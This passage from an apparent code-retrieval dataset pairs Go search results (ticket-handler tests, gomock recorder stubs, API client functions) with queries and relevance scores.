\"TicketTest\", Editor: testEditor, HasEditor: true, Creator: testCreator, CreationTime: time.Now(), LastModificationTime: time.Now(), State: ticketData.Processing}\n\ttestMessages := []ticketData.MessageEntry{{Id: 0, CreatorMail: \"test@test.de\", Content: \"TestContent2\", OnlyInternal: false}}\n\n\ttestTicket := ticketData.CreateTestTicket(testTicketInfo, testMessages)\n\n\ttestUser := userData.User{Mail: \"Test25@Test.de\", UserId: 25, FirstName: \"Dieter22\", LastName: \"Dietrich\", Role: userData.RegisteredUser, State: userData.Active}\n\n\ttestCreator2 := ticketData.Creator{Mail: \"Ivan@Test.de\", FirstName: \"Ivan\", LastName: \"Muller\"}\n\ttestTicketInfo2 := ticketData.TicketInfo{Id: 0, Title: \"TicketTest2\", Editor: userData.GetInvalidDefaultUser(), HasEditor: false, Creator: testCreator2, CreationTime: time.Now(), LastModificationTime: time.Now(), State: ticketData.Open}\n\n\ttestCreator3 := ticketData.Creator{Mail: \"Ivan2@Test.de\", FirstName: \"Ivan2\", LastName: \"Muller\"}\n\ttestTicketInfo3 := ticketData.TicketInfo{Id: 1, Title: \"TicketTest3\", Editor: testEditor, HasEditor: true, Creator: testCreator3, CreationTime: time.Now(), LastModificationTime: time.Now(), State: ticketData.Processing}\n\n\ttestEditor4 := userData.User{Mail: \"Test44@Test.de\", UserId: 44, FirstName: \"Dieter33\", LastName: \"Dietrich\", Role: userData.RegisteredUser, State: userData.Active}\n\ttestCreator4 := ticketData.Creator{Mail: \"Ivan3@Test.de\", FirstName: \"Ivan3\", LastName: \"Muller\"}\n\ttestTicketInfo4 := ticketData.TicketInfo{Id: 2, Title: \"TicketTest4\", Editor: testEditor4, HasEditor: true, Creator: testCreator4, CreationTime: time.Now(), LastModificationTime: time.Now(), State: ticketData.Processing}\n\n\treq, err := http.NewRequest(\"GET\", \"/ticket/ticket_edit/5\", nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tallTestTickets := []ticketData.TicketInfo{testTicketInfo, testTicketInfo2, testTicketInfo3, testTicketInfo4}\n\tallTestUsers := []userData.User{testEditor, testUser, testEditor4}\n\tfilteredTickets := []ticketData.TicketInfo{testTicketInfo3}\n\tstates := []ticketData.TicketState{ticketData.Open, ticketData.Closed}\n\n\tdata := ticketEditPageData{\n\t\tTicketInfo: testTicketInfo,\n\t\tOtherTickets: filteredTickets,\n\t\tUsers: allTestUsers,\n\t\tOtherState1: states[0],\n\t\tOtherState2: states[1],\n\t\tShowTicketSpecificControls: true,\n\t}\n\n\t// Execute the test:\n\trr := httptest.NewRecorder()\n\thandler := http.HandlerFunc(testee.ServeHTTP)\n\tctx := wrappers.NewContextWithAuthenticationInfo(req.Context(), true, false, 5, \"\")\n\n\tdata.UserIsAdmin = false\n\tdata.UserIsAuthenticated = true\n\tdata.Active = \"\"\n\n\tmockedTicketContext.On(\"GetTicketById\", 5).Return(true, testTicket)\n\tmockedTicketContext.On(\"GetAllTicketInfo\").Return(allTestTickets)\n\n\tmockedUserContext.On(\"GetAllActiveUsers\").Return(allTestUsers)\n\n\tmockedTemplateManager.On(\"RenderTemplate\", mock.Anything, \"TicketEditPage\", data).Return(nil)\n\n\thandler.ServeHTTP(rr, req.WithContext(ctx))\n\n\tresp := rr.Result()\n\n\tnewLocation := resp.Header.Get(\"location\")\n\tassert.Equal(t, http.StatusOK, resp.StatusCode, \"Should return status code 200\")\n\tassert.Equal(t, \"\", newLocation, \"Should not be redirected\")\n\n\tmockedTicketContext.AssertExpectations(t)\n\tmockedTemplateManager.AssertExpectations(t)\n\tmockedUserContext.AssertExpectations(t)\n}", "title": "" }, { "docid": "326b683e9d83550fa06089c39762969b", "score": "0.48116085", "text": "func (mr *MockMetricsFactoryMockRecorder) Create() *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Create\", reflect.TypeOf((*MockMetricsFactory)(nil).Create))\n}", "title": "" }, { "docid": "97285479c72b9534c9440876aa61988e", "score": "0.47998822", "text": "func (mr *MockIssueClientMockRecorder) CreateIssueReaction(org, repo, id, reaction interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"CreateIssueReaction\", reflect.TypeOf((*MockIssueClient)(nil).CreateIssueReaction), org, repo, id, reaction)\n}", "title": "" }, { "docid": "422d3c88a396df252af47af3d2936816", "score": "0.47884074", "text": "func CreateMatchmakingTicket(settings *playfab.Settings, postData *CreateMatchmakingTicketRequestModel, entityToken string) (*CreateMatchmakingTicketResultModel, error) {\n if entityToken == \"\" {\n return nil, playfab.NewCustomError(\"entityToken should not be an empty string\", playfab.ErrorGeneric)\n }\n b, errMarshal := json.Marshal(postData)\n if errMarshal != nil {\n return nil, playfab.NewCustomError(errMarshal.Error(), playfab.ErrorMarshal)\n }\n\n sourceMap, err := playfab.Request(settings, b, \"/Match/CreateMatchmakingTicket\", \"X-EntityToken\", entityToken)\n if err != nil {\n return nil, err\n }\n \n result := &CreateMatchmakingTicketResultModel{}\n\n config := mapstructure.DecoderConfig{\n DecodeHook: playfab.StringToDateTimeHook,\n Result: result,\n }\n \n decoder, errDecoding := mapstructure.NewDecoder(&config)\n if errDecoding != nil {\n return nil, playfab.NewCustomError(errDecoding.Error(), playfab.ErrorDecoding)\n }\n \n errDecoding = decoder.Decode(sourceMap)\n if errDecoding != nil {\n return nil, playfab.NewCustomError(errDecoding.Error(), playfab.ErrorDecoding)\n }\n\n return result, nil\n}", "title": "" }, { "docid": "016a72d78b356c5aec3578573c059ded", "score": "0.47858283", "text": "func TestTicketEditPageHandler_ServeHTTP_RenderTemplateError(t *testing.T) {\n\tmockedTicketContext := new(mockedForTests.MockedTicketContext)\n\tmockedUserContext := new(mockedForTests.MockedUserContext)\n\tmockedTemplateManager := new(templateManager.MockedTemplateManager)\n\n\ttestee := TicketEditPageHandler{UserContext: mockedUserContext, TicketContext: mockedTicketContext, TemplateManager: mockedTemplateManager,\n\t\tLogger: testhelpers.GetTestLogger()}\n\n\ttestEditor := userData.User{Mail: \"Test2@Test.de\", UserId: 5, FirstName: \"Dieter\", LastName: \"Dietrich\", Role: userData.RegisteredUser, State: userData.Active}\n\n\ttestCreator := ticketData.Creator{Mail: \"Test@Test.de\", FirstName: \"Max\", LastName: \"Muller\"}\n\ttestTicketInfo := ticketData.TicketInfo{Id: 5, Title: \"TicketTest\", Editor: testEditor, HasEditor: true, Creator: testCreator, CreationTime: time.Now(), LastModificationTime: time.Now(), State: ticketData.Processing}\n\ttestMessages := []ticketData.MessageEntry{{Id: 0, CreatorMail: \"test@test.de\", Content: \"TestContent2\", OnlyInternal: false}}\n\n\ttestTicket := ticketData.CreateTestTicket(testTicketInfo, testMessages)\n\n\ttestUser := userData.User{Mail: \"Test25@Test.de\", UserId: 25, FirstName: \"Dieter22\", LastName: \"Dietrich\", Role: userData.RegisteredUser, State: userData.Active}\n\n\ttestCreator2 := ticketData.Creator{Mail: \"Ivan@Test.de\", FirstName: \"Ivan\", LastName: \"Muller\"}\n\ttestTicketInfo2 := ticketData.TicketInfo{Id: 0, Title: \"TicketTest2\", Editor: userData.GetInvalidDefaultUser(), HasEditor: false, Creator: testCreator2, CreationTime: time.Now(), LastModificationTime: time.Now(), State: ticketData.Open}\n\n\ttestCreator3 := ticketData.Creator{Mail: \"Ivan2@Test.de\", FirstName: \"Ivan2\", LastName: \"Muller\"}\n\ttestTicketInfo3 := ticketData.TicketInfo{Id: 1, Title: \"TicketTest3\", Editor: testEditor, HasEditor: true, Creator: testCreator3, CreationTime: time.Now(), LastModificationTime: time.Now(), State: ticketData.Processing}\n\n\ttestEditor4 := userData.User{Mail: \"Test44@Test.de\", UserId: 44, FirstName: \"Dieter33\", LastName: \"Dietrich\", Role: userData.RegisteredUser, State: userData.Active}\n\ttestCreator4 := ticketData.Creator{Mail: \"Ivan3@Test.de\", FirstName: \"Ivan3\", LastName: \"Muller\"}\n\ttestTicketInfo4 := ticketData.TicketInfo{Id: 2, Title: \"TicketTest4\", Editor: testEditor4, HasEditor: true, Creator: testCreator4, CreationTime: time.Now(), LastModificationTime: time.Now(), State: ticketData.Processing}\n\n\treq, err := http.NewRequest(\"GET\", \"/ticket/ticket_edit/5\", nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tallTestTickets := []ticketData.TicketInfo{testTicketInfo, testTicketInfo2, testTicketInfo3, testTicketInfo4}\n\tallTestUsers := []userData.User{testEditor, testUser, testEditor4}\n\tfilteredTickets := []ticketData.TicketInfo{testTicketInfo3}\n\tstates := []ticketData.TicketState{ticketData.Open, ticketData.Closed}\n\n\tdata := ticketEditPageData{\n\t\tTicketInfo: testTicketInfo,\n\t\tOtherTickets: filteredTickets,\n\t\tUsers: allTestUsers,\n\t\tOtherState1: states[0],\n\t\tOtherState2: states[1],\n\t\tShowTicketSpecificControls: true,\n\t}\n\n\t// Execute the test:\n\trr := httptest.NewRecorder()\n\thandler := http.HandlerFunc(testee.ServeHTTP)\n\tctx := wrappers.NewContextWithAuthenticationInfo(req.Context(), true, false, 5, \"\")\n\n\tdata.UserIsAdmin = false\n\tdata.UserIsAuthenticated = true\n\tdata.Active = \"\"\n\n\tmockedTicketContext.On(\"GetTicketById\", 5).Return(true, testTicket)\n\tmockedTicketContext.On(\"GetAllTicketInfo\").Return(allTestTickets)\n\n\tmockedUserContext.On(\"GetAllActiveUsers\").Return(allTestUsers)\n\n\tmockedTemplateManager.On(\"RenderTemplate\", mock.Anything, \"TicketEditPage\", data).Return(errors.New(\"TestError\"))\n\n\thandler.ServeHTTP(rr, req.WithContext(ctx))\n\n\tresp := rr.Result()\n\n\tnewLocation := resp.Header.Get(\"location\")\n\tassert.Equal(t, http.StatusInternalServerError, resp.StatusCode, \"Should return status code 500\")\n\tassert.Equal(t, \"/\", newLocation, \"Should be redirected to \\\"/\\\"\")\n\n\tmockedTicketContext.AssertExpectations(t)\n\tmockedTemplateManager.AssertExpectations(t)\n\tmockedUserContext.AssertExpectations(t)\n}", "title": "" }, { "docid": "488c30690dfb6ea7c6fe05f92a3e2669", "score": "0.4785757", "text": "func (mr *MockHTTPMockRecorder) Create(w, r interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Create\", reflect.TypeOf((*MockHTTP)(nil).Create), w, r)\n}", "title": "" }, { "docid": "a8dc8e0bb914decb29b75bb3478484a8", "score": "0.47838423", "text": "func (mr *MockLibraryStoreMockRecorder) CreateRequest(arg0, arg1 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"CreateRequest\", reflect.TypeOf((*MockLibraryStore)(nil).CreateRequest), arg0, arg1)\n}", "title": "" }, { "docid": "ebed86b6efaa7aa109b484f421ed66da", "score": "0.47707704", "text": "func (mr *MockOrderUsecaseMockRecorder) CreateReview(arg0, arg1 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"CreateReview\", reflect.TypeOf((*MockOrderUsecase)(nil).CreateReview), arg0, arg1)\n}", "title": "" }, { "docid": "c1c4bf09190038f527e1c5913b7aeda2", "score": "0.47678316", "text": "func (mr *MockProductCatalogClientMockRecorder) CreateEditor(arg0, arg1 interface{}, arg2 ...interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\tvarargs := append([]interface{}{arg0, arg1}, arg2...)\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"CreateEditor\", reflect.TypeOf((*MockProductCatalogClient)(nil).CreateEditor), varargs...)\n}", "title": "" }, { "docid": "25d11162cc03f64f0a4efc4d7301aa19", "score": "0.4767559", "text": "func (mr *MockClientInterfaceMockRecorder) CreateConfigMap(arg0 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"CreateConfigMap\", reflect.TypeOf((*MockClientInterface)(nil).CreateConfigMap), arg0)\n}", "title": "" }, { "docid": "9801b351898e3e9cbf34590e865153b3", "score": "0.47674406", "text": "func (mr *MockGovcClientMockRecorder) CreateCategoryForVM(ctx, name interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"CreateCategoryForVM\", reflect.TypeOf((*MockGovcClient)(nil).CreateCategoryForVM), ctx, name)\n}", "title": "" }, { "docid": "deac787fb01bf91403302f21e89f063a", "score": "0.47669187", "text": "func (mr *MockClientMockRecorder) CreateIssue(org, repo, title, body, milestone, labels, assignees interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"CreateIssue\", reflect.TypeOf((*MockClient)(nil).CreateIssue), org, repo, title, body, milestone, labels, assignees)\n}", "title": "" }, { "docid": "c5c657818fe17b71dad27bdb6b46c71b", "score": "0.47596377", "text": "func (mr *MockTokensServiceMockRecorder) TokenCreate(arg0 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"TokenCreate\", reflect.TypeOf((*MockTokensService)(nil).TokenCreate), arg0)\n}", "title": "" }, { "docid": "10dc70b565a089d04f8d8fe5876f0e72", "score": "0.4749248", "text": "func (mr *MockServicePrincipalClientMockRecorder) Create(arg0, arg1 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Create\", reflect.TypeOf((*MockServicePrincipalClient)(nil).Create), arg0, arg1)\n}", "title": "" }, { "docid": "8c87c6afc7367d92bebd4bd7a53f8e89", "score": "0.47434512", "text": "func CreateEnquiry(w http.ResponseWriter, r *http.Request) {\n\tuID := gCtx.Get(r, \"uid\").(string)\n\tpID := mux.Vars(r)[\"id\"]\n\terr := CreateEnquiryService(pID, uID)\n\tif err != nil {\n\t\tresponse.Error(w, http.StatusUnprocessableEntity, err.Error())\n\t\treturn\n\t}\n\n\tresponse.Success(w, r,\n\t\thttp.StatusOK,\n\t\tmap[string]interface{}{\n\t\t\t\"ok\": 1,\n\t\t},\n\t)\n\treturn\n}", "title": "" }, { "docid": "4049f9d5317204c78be8b702ff4c51a4", "score": "0.4733308", "text": "func (mr *MockFixtureServiceClientMockRecorder) GetTeamForm(arg0, arg1 interface{}, arg2 ...interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\tvarargs := append([]interface{}{arg0, arg1}, arg2...)\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"GetTeamForm\", reflect.TypeOf((*MockFixtureServiceClient)(nil).GetTeamForm), varargs...)\n}", "title": "" }, { "docid": "461c1927835ea4c28cea9fac0d33983d", "score": "0.47238812", "text": "func (mr *MockTopoClientMockRecorder) Create(ctx, in interface{}, opts ...interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\tvarargs := append([]interface{}{ctx, in}, opts...)\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Create\", reflect.TypeOf((*MockTopoClient)(nil).Create), varargs...)\n}", "title": "" }, { "docid": "6408d6afd171351f5d8d2d66144bd4bf", "score": "0.47207215", "text": "func (mr *MockJobClientMockRecorder) Create(arg0 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Create\", reflect.TypeOf((*MockJobClient)(nil).Create), arg0)\n}", "title": "" }, { "docid": "026dbd175417ac38991c1bd0296a5a06", "score": "0.47186685", "text": "func (mr *MockFlagMockRecorder) Create(arg0, arg1 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Create\", reflect.TypeOf((*MockFlag)(nil).Create), arg0, arg1)\n}", "title": "" }, { "docid": "b0775731373e250897f7b96b2ef19f07", "score": "0.47181556", "text": "func (mr *MockServiceAccountClientMockRecorder) CreateServiceAccount(arg0 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"CreateServiceAccount\", reflect.TypeOf((*MockServiceAccountClient)(nil).CreateServiceAccount), arg0)\n}", "title": "" }, { "docid": "0904b4c1d0ee3c33f1c4a6721abc655f", "score": "0.47132006", "text": "func (mr *MockFactoryMockRecorder) CreateContract(addr, code interface{}) *gomock.Call {\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"CreateContract\", reflect.TypeOf((*MockFactory)(nil).CreateContract), addr, code)\n}", "title": "" }, { "docid": "365b72859745c78d09039627d4414881", "score": "0.47116485", "text": "func (mr *MockOrgMockRecorder) Create(org interface{}) *gomock.Call {\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Create\", reflect.TypeOf((*MockOrg)(nil).Create), org)\n}", "title": "" }, { "docid": "3106a8b383a9076adeed41659d3a577b", "score": "0.4707096", "text": "func (mr *MockDryadClientManagerMockRecorder) Create(arg0 interface{}) *gomock.Call {\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Create\", reflect.TypeOf((*MockDryadClientManager)(nil).Create), arg0)\n}", "title": "" }, { "docid": "237854c2c79db6e0ad717cdbb518e951", "score": "0.4697253", "text": "func (mr *MockKubernetesServiceMockRecorder) Create(create interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Create\", reflect.TypeOf((*MockKubernetesService)(nil).Create), create)\n}", "title": "" }, { "docid": "8e517dc0a04a26893fad0ccaa1098659", "score": "0.46963653", "text": "func (mr *MockNotepadsRepoMockRecorder) Create(arg0 interface{}) *gomock.Call {\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Create\", reflect.TypeOf((*MockNotepadsRepo)(nil).Create), arg0)\n}", "title": "" }, { "docid": "dd674d045a46471d62f961be6ff93adc", "score": "0.46917248", "text": "func (m *Client) GetTicketForms(arg0 context.Context, arg1 *zendesk.TicketFormListOptions) ([]zendesk.TicketForm, zendesk.Page, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetTicketForms\", arg0, arg1)\n\tret0, _ := ret[0].([]zendesk.TicketForm)\n\tret1, _ := ret[1].(zendesk.Page)\n\tret2, _ := ret[2].(error)\n\treturn ret0, ret1, ret2\n}", "title": "" }, { "docid": "81db6a75dcfde737463a3c95aa2c3fff", "score": "0.4688112", "text": "func (mr *MockServiceMockRecorder) Create(arg0 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Create\", reflect.TypeOf((*MockService)(nil).Create), arg0)\n}", "title": "" }, { "docid": "b66715f8a81f94f46bf9ac0b28489896", "score": "0.46879274", "text": "func TestCreateSnippetForm(t *testing.T) {\n\n\tapp := newTestApplication(t)\n\n\tts := newTestServer(t, app.routes())\n\tdefer ts.Close()\n\n\tt.Run(\"Unauthenticated User\", func(t *testing.T) {\n\t\tres := ts.get(t, \"/snippet/create\")\n\n\t\tif res.StatusCode != http.StatusSeeOther {\n\t\t\tt.Errorf(\"wants %d; got %d\", http.StatusSeeOther, res.StatusCode)\n\t\t}\n\n\t\tlocation := res.Header.Get(\"Location\")\n\n\t\tif location != \"/user/login\" {\n\t\t\tt.Errorf(\"wants %s; got %s\", \"/user/login\", location)\n\t\t}\n\t})\n\n\tt.Run(\"Authenticated User\", func(t *testing.T) {\n\t\tloginPageRes := ts.get(t, \"/user/login\")\n\t\tcsrfToken := extractCSRFToken(t, loginPageRes.Body)\n\n\t\tloginForm := url.Values{}\n\t\tloginForm.Add(\"email\", \"terry@yahoo.com\")\n\t\tloginForm.Add(\"password\", \"1234567\")\n\t\tloginForm.Add(\"csrf_token\", csrfToken)\n\n\t\t_ = ts.postForm(t, \"/user/login\", loginForm)\n\n\t\tresp := ts.get(t, \"/snippet/create\")\n\t\tif resp.StatusCode != http.StatusOK {\n\t\t\tt.Errorf(\"wants %d; got %d\", http.StatusOK, resp.StatusCode)\n\t\t}\n\n\t\tformTag := \"<form action='/snippet/create' method='POST'>\"\n\t\tif !bytes.Contains(resp.Body, []byte(formTag)) {\n\t\t\tt.Errorf(\"want body %s to contain %q\", resp.Body, formTag)\n\t\t}\n\n\t})\n\n}", "title": "" }, { "docid": "7106838d40273583b4800bbf86d513bc", "score": "0.46860826", "text": "func (mr *MockIssueClientMockRecorder) CreateIssue(org, repo, title, body, milestone, labels, assignees interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"CreateIssue\", reflect.TypeOf((*MockIssueClient)(nil).CreateIssue), org, repo, title, body, milestone, labels, assignees)\n}", "title": "" }, { "docid": "21625ca83ef1080dd99ee267b97e800d", "score": "0.46834877", "text": "func (mr *MockApplicationManagerMockRecorder) Create(ktx, e interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Create\", reflect.TypeOf((*MockApplicationManager)(nil).Create), ktx, e)\n}", "title": "" }, { "docid": "a4b0008517484e764fa44cefccef3a70", "score": "0.4682176", "text": "func (mr *MockVacancyUseCaseMockRecorder) CreateVacancy(arg0 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"CreateVacancy\", reflect.TypeOf((*MockVacancyUseCase)(nil).CreateVacancy), arg0)\n}", "title": "" }, { "docid": "c99d519dc42e92eafef955b175ce0bc8", "score": "0.46746704", "text": "func (mr *MockOrderUsecaseMockRecorder) Create(arg0, arg1, arg2 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Create\", reflect.TypeOf((*MockOrderUsecase)(nil).Create), arg0, arg1, arg2)\n}", "title": "" }, { "docid": "35659646dcfa48d8663fe9c4d789b800", "score": "0.46722868", "text": "func (mr *MockServiceBoardMockRecorder) CreateChecklist(arg0 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"CreateChecklist\", reflect.TypeOf((*MockServiceBoard)(nil).CreateChecklist), arg0)\n}", "title": "" }, { "docid": "5029a3e9ca04267bc6dd22428cb93551", "score": "0.46693167", "text": "func (mr *MockDelegateActorMockRecorder) WrapInCreate(c, value, outboxIRI interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"WrapInCreate\", reflect.TypeOf((*MockDelegateActor)(nil).WrapInCreate), c, value, outboxIRI)\n}", "title": "" }, { "docid": "2bd87c1462909925c6e7c73d5d768d22", "score": "0.4664977", "text": "func (mr *MockFullNodeMockRecorder) PaychVoucherCreate(arg0, arg1, arg2, arg3 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"PaychVoucherCreate\", reflect.TypeOf((*MockFullNode)(nil).PaychVoucherCreate), arg0, arg1, arg2, arg3)\n}", "title": "" }, { "docid": "ebafa09e803a17d96805f89dd0c7e735", "score": "0.46643454", "text": "func (mr *MockFunctionsPlatformFactoryMockRecorder) Create(projectName, applicationType interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Create\", reflect.TypeOf((*MockFunctionsPlatformFactory)(nil).Create), projectName, applicationType)\n}", "title": "" }, { "docid": "73b8a94b3723be2b6e98a29962b8c438", "score": "0.46423343", "text": "func (mr *MockHerokuPlatformFactoryMockRecorder) Create(projectName, applicationType interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Create\", reflect.TypeOf((*MockHerokuPlatformFactory)(nil).Create), projectName, applicationType)\n}", "title": "" }, { "docid": "9d255ad56ace5e9388337c0ef547eb1b", "score": "0.4640951", "text": "func (mr *MockSharedRulesMockRecorder) Create(route interface{}) *gomock.Call {\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Create\", reflect.TypeOf((*MockSharedRules)(nil).Create), route)\n}", "title": "" }, { "docid": "6097f87e9228da49099576a05c21fc40", "score": "0.46336734", "text": "func (mr *MockAccessControlMockRecorder) CanCreate(arg0, arg1 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"CanCreate\", reflect.TypeOf((*MockAccessControl)(nil).CanCreate), arg0, arg1)\n}", "title": "" }, { "docid": "f6c72918cfc98ee3ff6702b66fe2ff59", "score": "0.46304354", "text": "func CreateUpdateTicketRequest() (request *UpdateTicketRequest) {\n\trequest = &UpdateTicketRequest{\n\t\tRpcRequest: &requests.RpcRequest{},\n\t}\n\trequest.InitWithApiInfo(\"scsp\", \"2020-07-02\", \"UpdateTicket\", \"\", \"\")\n\trequest.Method = requests.POST\n\treturn\n}", "title": "" }, { "docid": "7002ba699c994b555cadc77652caa9dc", "score": "0.46236846", "text": "func (mr *MockClientMockRecorder) CreateCommentReaction(org, repo, id, reaction interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"CreateCommentReaction\", reflect.TypeOf((*MockClient)(nil).CreateCommentReaction), org, repo, id, reaction)\n}", "title": "" } ]
547b859be63f6f0eaecd4f1542b79294
getTestFlowStockDelays test route is protected and the response fits.
[ { "docid": "845b950ab5a723ccb7e73080def3a922", "score": "0.77818286", "text": "func getTestFlowStockDelays(e *httpexpect.Expect, t *testing.T) {\n\ttestCases := []testCase{\n\t\tnotLoggedTestCase,\n\t\t{\n\t\t\tToken: testCtx.User.Token,\n\t\t\tStatus: http.StatusOK,\n\t\t\tParam: \"90\",\n\t\t\tBodyContains: []string{`\"FlowStockDelays\"`},\n\t\t},\n\t}\n\n\tf := func(tc testCase) *httpexpect.Response {\n\t\treturn e.GET(\"/api/flow_stock_delays\").WithQuery(\"Days\", tc.Param).\n\t\t\tWithHeader(\"Authorization\", \"Bearer \"+tc.Token).Expect()\n\t}\n\tfor _, r := range chkTestCases(testCases, f, \"GetTestFlowStockDelays\") {\n\t\tt.Error(r)\n\t}\n}", "title": "" } ]
[ { "docid": "1c3832fb96191539fed2096998ac1a14", "score": "0.6935645", "text": "func testFlowStockDelays(t *testing.T) {\n\tt.Run(\"FlowStockDelays\", func(t *testing.T) {\n\t\tgetTestFlowStockDelays(testCtx.E, t)\n\t})\n}", "title": "" }, { "docid": "26d72e69a75e1a61531af1d59d389bb8", "score": "0.5683872", "text": "func getPaymentDelaysTest(t *testing.T, c *TestContext) {\n\ttcc := []TestCase{\n\t\t*c.UserCheckTestCase,\n\t\t{\n\t\t\tToken: c.Config.Users.User.Token,\n\t\t\tStatusCode: http.StatusBadRequest,\n\t\t\tParams: \"a\",\n\t\t\tRespContains: []string{`Délais de paiement, décodage : `}},\n\t\t{\n\t\t\tToken: c.Config.Users.User.Token,\n\t\t\tStatusCode: http.StatusOK,\n\t\t\tParams: \"1472688000000\",\n\t\t\tRespContains: []string{`{\"PaymentDelay\":[`, `\"Number\":1`},\n\t\t\tCount: 12,\n\t\t\tCountItemName: `\"Delay\"`},\n\t}\n\tf := func(tc TestCase) *httpexpect.Response {\n\t\treturn c.E.GET(\"/api/payment_delays\").WithHeader(\"Authorization\", \"Bearer \"+tc.Token).\n\t\t\tWithQuery(\"after\", tc.Params).Expect()\n\t}\n\tfor _, r := range chkFactory(tcc, f, \"GetPaymentDelays\") {\n\t\tt.Error(r)\n\t}\n}", "title": "" }, { "docid": "561c62cde7ab34ece11c8153a177bb98", "score": "0.54128927", "text": "func getStockPrices(w http.ResponseWriter, stockSymbol string, numberOfDays int) string {\n\tfullRemoteApiUrl := fmt.Sprintf(\"%s%s\", fullRemoteApiUrlPrefix, stockSymbol)\n\n\t// Don't log as it exposes the APIKEY.\n\t//log.Printf(\"Sending GET request to remote API %s for stock symbol %s\", fullRemoteApiUrl, stockSymbol)\n\tlog.Printf(\"Sending GET request to remote API for stock symbol %s\", stockSymbol)\n\n\tresp, err := http.Get(fullRemoteApiUrl)\n\n\tif err != nil {\n\t\tlog.Printf(\"Error getting stock price from remote API for stock symbol %s due to: %v\", stockSymbol, err)\n\t\thttp.Error(w, \"Error getting stock price from remote API\", http.StatusInternalServerError)\n\t\treturn \"\"\n\t}\n\n\trespData, err := ioutil.ReadAll(resp.Body)\n\n\t//log.Printf(\"GET request to remote API for stock symbol %s returned: %s\", stockSymbol, respData)\n\n\tif err != nil {\n\t\tlog.Printf(\"Error reading response from remote API for stock symbol %s due to: %v\", stockSymbol, err)\n\t\thttp.Error(w, \"Error reading response from remote API\", resp.StatusCode)\n\t\treturn \"\"\n\t}\n\n\tvar jsonStockPrices StockPrices\n\terr = json.Unmarshal(respData, &jsonStockPrices)\n\tif err != nil {\n\t\tlog.Printf(\"Error unmarshalling response for stock symbol %s due to: %v\", stockSymbol, err)\n\t\thttp.Error(w, \"Error unmarshalling response\", http.StatusInternalServerError)\n\t\treturn \"\"\n\t}\n\n\tvar serviceResp string\n\tserviceResp, err = buildServiceResp(stockSymbol, numberOfDays, 